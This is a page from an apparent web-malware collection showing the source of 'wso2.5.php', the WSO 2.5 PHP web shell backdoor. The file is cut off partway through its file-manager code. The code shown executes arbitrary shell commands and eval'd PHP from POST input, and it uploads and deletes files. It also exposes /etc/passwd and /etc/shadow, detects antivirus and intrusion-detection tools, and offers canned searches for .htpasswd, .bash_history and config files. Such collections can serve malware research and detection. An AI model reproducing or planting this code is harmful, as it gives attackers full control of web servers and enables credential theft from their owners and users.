PageRenderTime 68ms CodeModel.GetById 30ms RepoModel.GetById 1ms app.codeStats 0ms

/Backdoors/PHP/wso2.5.php

http://web-malware-collection.googlecode.com/
PHP | 1500 lines | 1454 code | 45 blank | 1 comment | 309 complexity | 7c8e5d31aad28eb1f0a9a53145551e05 MD5 | raw file

Large files files are truncated, but you can click here to view the full file

  1. <?php
  2. @ini_set('error_log',NULL);
  3. @ini_set('log_errors',0);
  4. @ini_set('max_execution_time',0);
  5. @set_time_limit(0);
  6. @set_magic_quotes_runtime(0);
  7. @define('WSO_VERSION', '2.5');
  8. if(get_magic_quotes_gpc()) {
  9. function WSOstripslashes($array) {
  10. return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  11. }
  12. $_POST = WSOstripslashes($_POST);
  13. $_COOKIE = WSOstripslashes($_COOKIE);
  14. }
  15. function wsoLogin() {
  16. die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  17. }
  18. function WSOsetcookie($k, $v) {
  19. $_COOKIE[$k] = $v;
  20. setcookie($k, $v);
  21. }
  22. if(!empty($auth_pass)) {
  23. if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  24. WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  25. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  26. wsoLogin();
  27. }
  28. if(strtolower(substr(PHP_OS,0,3)) == "win")
  29. $os = 'win';
  30. else
  31. $os = 'nix';
  32. $safe_mode = @ini_get('safe_mode');
  33. if(!$safe_mode)
  34. error_reporting(0);
  35. $disable_functions = @ini_get('disable_functions');
  36. $home_cwd = @getcwd();
  37. if(isset($_POST['c']))
  38. @chdir($_POST['c']);
  39. $cwd = @getcwd();
  40. if($os == 'win') {
  41. $home_cwd = str_replace("\\", "/", $home_cwd);
  42. $cwd = str_replace("\\", "/", $cwd);
  43. }
  44. if($cwd[strlen($cwd)-1] != '/')
  45. $cwd .= '/';
  46. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  47. $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  48. if($os == 'win')
  49. $aliases = array(
  50. "List Directory" => "dir",
  51. "Find index.php in current dir" => "dir /s /w /b index.php",
  52. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  53. "Show active connections" => "netstat -an",
  54. "Show running services" => "net start",
  55. "User accounts" => "net user",
  56. "Show computers" => "net view",
  57. "ARP Table" => "arp -a",
  58. "IP Configuration" => "ipconfig /all"
  59. );
  60. else
  61. $aliases = array(
  62. "List dir" => "ls -lha",
  63. "list file attributes on a Linux second extended file system" => "lsattr -va",
  64. "show opened ports" => "netstat -an | grep -i listen",
  65. "process status" => "ps aux",
  66. "Find" => "",
  67. "find all suid files" => "find / -type f -perm -04000 -ls",
  68. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  69. "find all sgid files" => "find / -type f -perm -02000 -ls",
  70. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  71. "find config.inc.php files" => "find / -type f -name config.inc.php",
  72. "find config* files" => "find / -type f -name \"config*\"",
  73. "find config* files in current dir" => "find . -type f -name \"config*\"",
  74. "find all writable folders and files" => "find / -perm -2 -ls",
  75. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  76. "find all service.pwd files" => "find / -type f -name service.pwd",
  77. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  78. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  79. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  80. "find all .bash_history files" => "find / -type f -name .bash_history",
  81. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  82. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  83. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  84. "Locate" => "",
  85. "locate httpd.conf files" => "locate httpd.conf",
  86. "locate vhosts.conf files" => "locate vhosts.conf",
  87. "locate proftpd.conf files" => "locate proftpd.conf",
  88. "locate psybnc.conf files" => "locate psybnc.conf",
  89. "locate my.conf files" => "locate my.conf",
  90. "locate admin.php files" =>"locate admin.php",
  91. "locate cfg.php files" => "locate cfg.php",
  92. "locate conf.php files" => "locate conf.php",
  93. "locate config.dat files" => "locate config.dat",
  94. "locate config.php files" => "locate config.php",
  95. "locate config.inc files" => "locate config.inc",
  96. "locate config.inc.php" => "locate config.inc.php",
  97. "locate config.default.php files" => "locate config.default.php",
  98. "locate config* files " => "locate config",
  99. "locate .conf files"=>"locate '.conf'",
  100. "locate .pwd files" => "locate '.pwd'",
  101. "locate .sql files" => "locate '.sql'",
  102. "locate .htpasswd files" => "locate '.htpasswd'",
  103. "locate .bash_history files" => "locate '.bash_history'",
  104. "locate .mysql_history files" => "locate '.mysql_history'",
  105. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  106. "locate backup files" => "locate backup",
  107. "locate dump files" => "locate dump",
  108. "locate priv files" => "locate priv"
  109. );
  110. function wsoHeader() {
  111. if(empty($_POST['charset']))
  112. $_POST['charset'] = $GLOBALS['default_charset'];
  113. global $color;
  114. if(!$color) $color = 'white';
  115. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  116. <style>
  117. body{background-color:#444;color:#e1e1e1;}
  118. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  119. table.info{ color:#fff;background-color:#222; }
  120. span,h1,a{ color: $color !important; }
  121. span{ font-weight: bolder; }
  122. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  123. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  124. a{ text-decoration:none; }
  125. a:hover{ text-decoration:underline; }
  126. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  127. .bigarea{ width:100%;height:300px; }
  128. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  129. form{ margin:0px; }
  130. #toolsTbl{ text-align:center; }
  131. .toolsInp{ width: 300px }
  132. .main th{text-align:left;background-color:#5e5e5e;}
  133. .main tr:hover{background-color:#5e5e5e}
  134. .l1{background-color:#444}
  135. .l2{background-color:#333}
  136. pre{font-family:Courier,Monospace;}
  137. </style>
  138. <script>
  139. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  140. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  141. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  142. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  143. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  144. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  145. var d = document;
  146. function set(a,c,p1,p2,p3,charset) {
  147. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  148. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  149. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  150. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  151. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  152. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  153. }
  154. function g(a,c,p1,p2,p3,charset) {
  155. set(a,c,p1,p2,p3,charset);
  156. d.mf.submit();
  157. }
  158. function a(a,c,p1,p2,p3,charset) {
  159. set(a,c,p1,p2,p3,charset);
  160. var params = 'ajax=true';
  161. for(i=0;i<d.mf.elements.length;i++)
  162. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  163. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  164. }
  165. function sr(url, params) {
  166. if (window.XMLHttpRequest)
  167. req = new XMLHttpRequest();
  168. else if (window.ActiveXObject)
  169. req = new ActiveXObject('Microsoft.XMLHTTP');
  170. if (req) {
  171. req.onreadystatechange = processReqChange;
  172. req.open('POST', url, true);
  173. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  174. req.send(params);
  175. }
  176. }
  177. function processReqChange() {
  178. if( (req.readyState == 4) )
  179. if(req.status == 200) {
  180. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  181. var arr=reg.exec(req.responseText);
  182. eval(arr[2].substr(0, arr[1]));
  183. } else alert('Request error!');
  184. }
  185. </script>
  186. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  187. <form method=post name=mf style='display:none;'>
  188. <input type=hidden name=a>
  189. <input type=hidden name=c>
  190. <input type=hidden name=p1>
  191. <input type=hidden name=p2>
  192. <input type=hidden name=p3>
  193. <input type=hidden name=charset>
  194. </form>";
  195. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  196. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  197. $totalSpace = $totalSpace?$totalSpace:1;
  198. $release = @php_uname('r');
  199. $kernel = @php_uname('s');
  200. $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  201. if(strpos('Linux', $kernel) !== false)
  202. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  203. else
  204. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  205. if(!function_exists('posix_getegid')) {
  206. $user = @get_current_user();
  207. $uid = @getmyuid();
  208. $gid = @getmygid();
  209. $group = "?";
  210. } else {
  211. $uid = @posix_getpwuid(posix_geteuid());
  212. $gid = @posix_getgrgid(posix_getegid());
  213. $user = $uid['name'];
  214. $uid = $uid['uid'];
  215. $group = $gid['name'];
  216. $gid = $gid['gid'];
  217. }
  218. $cwd_links = '';
  219. $path = explode("/", $GLOBALS['cwd']);
  220. $n=count($path);
  221. for($i=0; $i<$n-1; $i++) {
  222. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  223. for($j=0; $j<=$i; $j++)
  224. $cwd_links .= $path[$j].'/';
  225. $cwd_links .= "\")'>".$path[$i]."/</a>";
  226. }
  227. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  228. $opt_charsets = '';
  229. foreach($charsets as $item)
  230. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  231. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  232. if(!empty($GLOBALS['auth_pass']))
  233. $m['Logout'] = 'Logout';
  234. $m['Self remove'] = 'SelfRemove';
  235. $menu = '';
  236. foreach($m as $k => $v)
  237. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  238. $drives = "";
  239. if($GLOBALS['os'] == 'win') {
  240. foreach(range('c','z') as $drive)
  241. if(is_dir($drive.':\\'))
  242. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  243. }
  244. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  245. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
  246. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  247. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  248. . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  249. }
  250. function wsoFooter() {
  251. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  252. echo "
  253. </div>
  254. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  255. <tr>
  256. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  257. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  258. </tr><tr>
  259. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  260. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  261. </tr><tr>
  262. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  263. <td><form method='post' ENCTYPE='multipart/form-data'>
  264. <input type=hidden name=a value='FilesMAn'>
  265. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  266. <input type=hidden name=p1 value='uploadFile'>
  267. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  268. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
  269. </tr></table></div></body></html>";
  270. }
  271. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  272. function posix_getpwuid($p) {return false;} }
  273. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  274. function posix_getgrgid($p) {return false;} }
  275. function wsoEx($in) {
  276. $out = '';
  277. if (function_exists('exec')) {
  278. @exec($in,$out);
  279. $out = @join("\n",$out);
  280. } elseif (function_exists('passthru')) {
  281. ob_start();
  282. @passthru($in);
  283. $out = ob_get_clean();
  284. } elseif (function_exists('system')) {
  285. ob_start();
  286. @system($in);
  287. $out = ob_get_clean();
  288. } elseif (function_exists('shell_exec')) {
  289. $out = shell_exec($in);
  290. } elseif (is_resource($f = @popen($in,"r"))) {
  291. $out = "";
  292. while(!@feof($f))
  293. $out .= fread($f,1024);
  294. pclose($f);
  295. }
  296. return $out;
  297. }
  298. function wsoViewSize($s) {
  299. if($s >= 1073741824)
  300. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  301. elseif($s >= 1048576)
  302. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  303. elseif($s >= 1024)
  304. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  305. else
  306. return $s . ' B';
  307. }
  308. function wsoPerms($p) {
  309. if (($p & 0xC000) == 0xC000)$i = 's';
  310. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  311. elseif (($p & 0x8000) == 0x8000)$i = '-';
  312. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  313. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  314. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  315. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  316. else $i = 'u';
  317. $i .= (($p & 0x0100) ? 'r' : '-');
  318. $i .= (($p & 0x0080) ? 'w' : '-');
  319. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  320. $i .= (($p & 0x0020) ? 'r' : '-');
  321. $i .= (($p & 0x0010) ? 'w' : '-');
  322. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  323. $i .= (($p & 0x0004) ? 'r' : '-');
  324. $i .= (($p & 0x0002) ? 'w' : '-');
  325. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  326. return $i;
  327. }
  328. function wsoPermsColor($f) {
  329. if (!@is_readable($f))
  330. return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  331. elseif (!@is_writable($f))
  332. return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  333. else
  334. return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  335. }
  336. function wsoScandir($dir) {
  337. if(function_exists("scandir")) {
  338. return scandir($dir);
  339. } else {
  340. $dh = opendir($dir);
  341. while (false !== ($filename = readdir($dh)))
  342. $files[] = $filename;
  343. return $files;
  344. }
  345. }
  346. function wsoWhich($p) {
  347. $path = wsoEx('which ' . $p);
  348. if(!empty($path))
  349. return $path;
  350. return false;
  351. }
  352. function actionSecInfo() {
  353. wsoHeader();
  354. echo '<h1>Server security information</h1><div class=content>';
  355. function wsoSecParam($n, $v) {
  356. $v = trim($v);
  357. if($v) {
  358. echo '<span>' . $n . ': </span>';
  359. if(strpos($v, "\n") === false)
  360. echo $v . '<br>';
  361. else
  362. echo '<pre class=ml1>' . $v . '</pre>';
  363. }
  364. }
  365. wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  366. if(function_exists('apache_get_modules'))
  367. wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  368. wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  369. wsoSecParam('Open base dir', @ini_get('open_basedir'));
  370. wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  371. wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  372. wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  373. $temp=array();
  374. if(function_exists('mysql_get_client_info'))
  375. $temp[] = "MySql (".mysql_get_client_info().")";
  376. if(function_exists('mssql_connect'))
  377. $temp[] = "MSSQL";
  378. if(function_exists('pg_connect'))
  379. $temp[] = "PostgreSQL";
  380. if(function_exists('oci_connect'))
  381. $temp[] = "Oracle";
  382. wsoSecParam('Supported databases', implode(', ', $temp));
  383. echo '<br>';
  384. if($GLOBALS['os'] == 'nix') {
  385. wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  386. wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  387. wsoSecParam('OS version', @file_get_contents('/proc/version'));
  388. wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  389. if(!$GLOBALS['safe_mode']) {
  390. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  391. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  392. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  393. echo '<br>';
  394. $temp=array();
  395. foreach ($userful as $item)
  396. if(wsoWhich($item))
  397. $temp[] = $item;
  398. wsoSecParam('Userful', implode(', ',$temp));
  399. $temp=array();
  400. foreach ($danger as $item)
  401. if(wsoWhich($item))
  402. $temp[] = $item;
  403. wsoSecParam('Danger', implode(', ',$temp));
  404. $temp=array();
  405. foreach ($downloaders as $item)
  406. if(wsoWhich($item))
  407. $temp[] = $item;
  408. wsoSecParam('Downloaders', implode(', ',$temp));
  409. echo '<br/>';
  410. wsoSecParam('HDD space', wsoEx('df -h'));
  411. wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  412. echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  413. if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
  414. $temp = "";
  415. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  416. $uid = @posix_getpwuid($_POST['p2']);
  417. if ($uid)
  418. $temp .= join(':',$uid)."\n";
  419. }
  420. echo '<br/>';
  421. wsoSecParam('Users', $temp);
  422. }
  423. }
  424. } else {
  425. wsoSecParam('OS Version',wsoEx('ver'));
  426. wsoSecParam('Account Settings',wsoEx('net accounts'));
  427. wsoSecParam('User Accounts',wsoEx('net user'));
  428. }
  429. echo '</div>';
  430. wsoFooter();
  431. }
  432. function actionPhp() {
  433. if(isset($_POST['ajax'])) {
  434. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  435. ob_start();
  436. eval($_POST['p1']);
  437. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  438. echo strlen($temp), "\n", $temp;
  439. exit;
  440. }
  441. if(empty($_POST['ajax']) && !empty($_POST['p1']))
  442. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  443. wsoHeader();
  444. if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  445. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  446. ob_start();
  447. phpinfo();
  448. $tmp = ob_get_clean();
  449. $tmp = preg_replace(array (
  450. '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
  451. '!td, th {(.*)}!msiU',
  452. '!<img[^>]+>!msiU',
  453. ), array (
  454. '',
  455. '.e, .v, .h, .h th {$1}',
  456. ''
  457. ), $tmp);
  458. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  459. }
  460. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  461. echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  462. if(!empty($_POST['p1'])) {
  463. ob_start();
  464. eval($_POST['p1']);
  465. echo htmlspecialchars(ob_get_clean());
  466. }
  467. echo '</pre></div>';
  468. wsoFooter();
  469. }
  470. function actionFilesMan() {
  471. if (!empty ($_COOKIE['f']))
  472. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  473. if(!empty($_POST['p1'])) {
  474. switch($_POST['p1']) {
  475. case 'uploadFile':
  476. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  477. echo "Can't upload file!";
  478. break;
  479. case 'mkdir':
  480. if(!@mkdir($_POST['p2']))
  481. echo "Can't create new dir";
  482. break;
  483. case 'delete':
  484. function deleteDir($path) {
  485. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  486. $dh = opendir($path);
  487. while ( ($item = readdir($dh) ) !== false) {
  488. $item = $path.$item;
  489. if ( (basename($item) == "..") || (basename($item) == ".") )
  490. continue;
  491. $type = filetype($item);
  492. if ($type == "dir")
  493. deleteDir($item);
  494. else
  495. @unlink($item);
  496. }
  497. closedir($dh);
  498. @rmdir($path);
  499. }
  500. if(is_array(@$_POST['f']))
  501. foreach($_POST['f'] as $f) {
  502. if($f == '..')
  503. continue;
  504. $f = urldecode($f);
  505. if(is_dir($f))
  506. deleteDir($f);
  507. else
  508. @unlink($f);
  509. }
  510. break;
  511. case 'paste':
  512. if($_COOKIE['act'] == 'copy') {
  513. function copy_paste($c,$s,$d){
  514. if(is_dir($c.$s)){
  515. mkdir($d.$s);
  516. $h = @opendir($c.$s);
  517. while (($f = @readdir($h)) !== false)
  518. if (($f != ".") and ($f != ".."))
  519. copy_paste($c.$s.'/',$f, $d.$s.'/');
  520. } elseif(is_file($c.$s))
  521. @copy($c.$s, $d.$s);
  522. }
  523. foreach($_COOKIE['f'] as $f)
  524. copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  525. } elseif($_COOKIE['act'] == 'move') {
  526. function move_paste($c,$s,$d){
  527. if(is_dir($c.$s)){
  528. mkdir($d.$s);
  529. $h = @opendir($c.$s);
  530. while (($f = @readdir($h)) !== false)
  531. if (($f != ".") and ($f != ".."))
  532. copy_paste($c.$s.'/',$f, $d.$s.'/');
  533. } elseif(@is_file($c.$s))
  534. @copy($c.$s, $d.$s);
  535. }
  536. foreach($_COOKIE['f'] as $f)
  537. @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  538. } elseif($_COOKIE['act'] == 'zip') {
  539. if(class_exists('ZipArchive')) {
  540. $zip = new ZipArchive();
  541. if ($zip->open($_POST['p2'], 1)) {
  542. chdir($_COOKIE['c']);
  543. foreach($_COOKIE['f'] as $f) {
  544. if($f == '..')
  545. continue;
  546. if(@is_file($_COOKIE['c'].$f))
  547. $zip->addFile($_COOKIE['c'].$f, $f);
  548. elseif(@is_dir($_COOKIE['c'].$f)) {
  549. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  550. foreach ($iterator as $key=>$value) {
  551. $zip->addFile(realpath($key), $key);
  552. }
  553. }
  554. }
  555. chdir($GLOBALS['cwd']);
  556. $zip->close();
  557. }
  558. }
  559. } elseif($_COOKIE['act'] == 'unzip') {
  560. if(class_exists('ZipArchive')) {
  561. $zip = new ZipArchive();
  562. foreach($_COOKIE['f'] as $f) {
  563. if($zip->open($_COOKIE['c'].$f)) {
  564. $zip->extractTo($GLOBALS['cwd']);
  565. $zip->close();
  566. }
  567. }
  568. }
  569. } elseif($_COOKIE['act'] == 'tar') {
  570. chdir($_COOKIE['c']);
  571. $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  572. wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  573. chdir($GLOBALS['cwd']);
  574. }
  575. unset($_COOKIE['f']);
  576. setcookie('f', '', time() - 3600);
  577. break;
  578. default:
  579. if(!empty($_POST['p1'])) {
  580. WSOsetcookie('act', $_POST['p1']);
  581. WSOsetcookie('f', serialize(@$_POST['f']));
  582. WSOsetcookie('c', @$_POST['c']);
  583. }
  584. break;
  585. }
  586. }
  587. wsoHeader();
  588. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  589. $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  590. if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  591. global $sort;
  592. $sort = array('name', 1);
  593. if(!empty($_POST['p1'])) {
  594. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  595. $sort = array($match[1], (int)$match[2]);
  596. }
  597. echo "<script>
  598. function sa() {
  599. for(i=0;i<d.files.elements.length;i++)
  600. if(d.files.elements[i].type == 'checkbox')
  601. d.files.elements[i].checked = d.files.elements[0].checked;
  602. }
  603. </script>
  604. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  605. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  606. $dirs = $files = array();
  607. $n = count($dirContent);
  608. for($i=0;$i<$n;$i++) {
  609. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  610. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  611. $tmp = array('name' => $dirContent[$i],
  612. 'path' => $GLOBALS['cwd'].$dirContent[$i],
